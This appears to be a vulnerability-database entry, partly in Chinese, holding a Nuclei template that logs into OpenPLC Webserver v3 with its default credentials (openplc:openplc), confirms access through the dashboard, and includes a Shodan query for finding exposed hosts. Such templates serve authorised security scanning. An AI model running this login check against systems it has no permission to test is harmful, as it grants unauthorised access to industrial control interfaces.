openplc-default-login: OpenPLC Webserver v3 - Default Login

日期: 2025-08-01 | 影响软件: OpenPLC Webserver | POC: 已公开

漏洞描述

Identifies default credentials (openplc:openplc) on OpenPLC Webserver v3, allowing unauthorized access to the web interface.

PoC代码[已公开]

id: openplc-default-login

info:
  name: OpenPLC Webserver v3 - Default Login
  author: machevalia
  severity: high
  description: |
    Identifies default credentials (openplc:openplc) on OpenPLC Webserver v3, allowing unauthorized access to the web interface.
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"OpenPLC"
  tags: openplc,default-login,iot,vuln

variables:
  username: "openplc"
  password: "openplc"

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        GET /dashboard HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Dashboard"
          - "Runtime Logs"
          - "Logout</p>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220358665b4caabdc00369206ebeb3a59aae9ffdff6128eab672ac65b0b856a56b8022100db5da4b9fc8c2c85ab7a244f2219db4b50fe5cf168d08b23989cc79c5f8ec048:922c64590222798bb761d5b6d8e72950